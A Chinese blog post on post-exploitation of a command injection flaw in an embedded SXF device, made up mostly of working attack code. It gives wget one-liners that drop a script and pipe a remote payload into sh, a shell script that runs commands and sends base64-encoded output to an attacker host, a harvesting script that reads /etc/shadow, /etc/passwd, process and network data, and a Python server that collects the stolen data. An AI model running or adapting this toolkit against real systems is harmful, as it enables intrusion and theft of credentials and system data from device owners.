命令注入后渗透利用之wget信息收集

背景

前段时间挖掘到一个SXF产品的命令注入漏洞,发现设备支持wget,但是通过各种方法都无法把设备信息外传。很可能是因为嵌入式设备因flash空间有限,对很多程序进行裁剪,很多参数都不支持了。

基于这个背景,我尝试编写一个通过wget泄露信息的脚本。

设计思路

总体思路分成三个脚本实现目标功能,shell脚本W和O,python脚本wget_leck_ser.py。

shell脚本W

shell脚本O

python脚本wget_leck_ser.py

发现命令注入点后,首先通过wget命令,把W.sh上传到目标设备的/tmp目录下。

wget ip:port/W -O /tmp/W

接着在测试机启动wget_leck_ser.py监听信息。

python wget_leck_ser.py

最后通过wget不落地执行脚本O,获取目标信息。

wget -O - ip:port/O|sh

实现

下面是三个脚本的实现(拷贝到Windows系统,记得要dos2unix, 否则脚本无法正常执行)

shell脚本W

#!/bin/sh

REMOTE="192.168.1.2:6789"

OUTPUT_stdout="/tmp/U.stdout.output"
OUTPUT_stderr="/tmp/U.stderr.output"
WGETLEAK="wget "$REMOTE"/c="

if [ $# -eq 0 ]; then
    exit
fi

wget_send() {
    cmd=$WGETLEAK$1
    eval $cmd
}

# CMD
wget_send `echo "#"$* | base64`
wget_send "FINISH"

# BODY
# CMD=$*"|base64|sed ':a;N;$!ba;s/\n//g'"
eval $* > $OUTPUT_stdout 2> $OUTPUT_stderr
cat $OUTPUT_stderr >> $OUTPUT_stdout

strarr=`cat $OUTPUT_stdout | base64 | awk -F "" '{
    k=128
    for (i=1;i<=NF;i=i+k) {
        tmp="";
        for (j=0;j<k&&i+j<=NF;j++)
            tmp=(tmp""$(i+j));
        print tmp;
    }
}'`

for str in $strarr
do
    wget_send $str
done

wget_send "FINISH"

rm -rf $OUTPUT_stdout $OUTPUT_stderr

shell脚本O

#!/bin/sh

chmod 777 /tmp/W
chmod +x  /tmp/W

/tmp/W whoami
/tmp/W id
/tmp/W pwd
/tmp/W ls -al /

/tmp/W echo $PATH
/tmp/W ls -al /bin/
/tmp/W ls -al /sbin
/tmp/W ls -al /usr/bin/
/tmp/W ls -al /usr/sbin

/tmp/W mount
/tmp/W ps aux
/tmp/W ps -ef
/tmp/W netstat -tulnp
/tmp/W ifconfig
/tmp/W fdisk -l

/tmp/W busybox
/tmp/W file /bin/busybox


/tmp/W cat /proc/cmdline
/tmp/W cat /proc/cpuinfo
/tmp/W cat /proc/meminfo
/tmp/W cat /proc/modules
/tmp/W cat /proc/uptime
/tmp/W cat /proc/zoneinfo


/tmp/W iptables -L
/tmp/W cat /etc/passwd
/tmp/W cat /etc/shadow
/tmp/W cat /etc/fstab
/tmp/W cat /etc/rc.local

for dir in `ls /`
do
    if [ "$dir" == "proc" ];then
        echo ""
    elif [ "$dir" == "sys" ];then
        echo ""
    else
        /tmp/W ls -Ra "/"$dir
    fi
done

echo "### Start ###" > /tmp/procinfo.tmp
for dir in `ls /proc`
do
	echo "" >> /tmp/procinfo.tmp
	echo "++++++ check /proc/"$dir >> /tmp/procinfo.tmp
	ls -al "/proc/"$dir"/exe" >> /tmp/procinfo.tmp
	cat "/proc/"$dir"/cmdline" >> /tmp/procinfo.tmp
done
/tmp/W cat /tmp/procinfo.tmp
rm /tmp/procinfo.tmp

python脚本wget_leck_ser.py

from http.server import BaseHTTPRequestHandler,HTTPServer
import base64
import os

glo_content = ''
glo_filename = ''

class handler(BaseHTTPRequestHandler):
    def _set_headers(self):
        self.send_response(404)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def log_message(self, argv1, argv2, argv3, argv4):
        pass

    def do_GET(self):
        global glo_content
        global glo_filename
        self._set_headers()
        recv = self.path.split('c=')[1]
        if recv == 'FINISH':
            try:
                content = base64.b64decode(glo_content).decode(errors='ignore')
                if content[0] == '#':
                    content = '\n' + content

                print(content)
                with open(glo_filename, 'a+') as fp:
                    fp.write(content)
            except Exception as exp:
                print(exp)
                print("[ERROR] Base64 decode error.")
            glo_content=''
        else:
            glo_content += recv
        self.wfile.write("".encode())

def run(server_class=HTTPServer, handler_class=handler, port=6789):
    global glo_filename
    filecnt = 1
    while True:
        glo_filename = "targetInfo_" + str(filecnt).zfill(3) + '.txt'
        if os.path.exists(glo_filename) is True:
            filecnt += 1
        else:
            break

    httpd = server_class(('0.0.0.0', port), handler_class)
    print('Server running at 0.0.0.0:%d...' % port)
    httpd.serve_forever()

run()
Table of Contents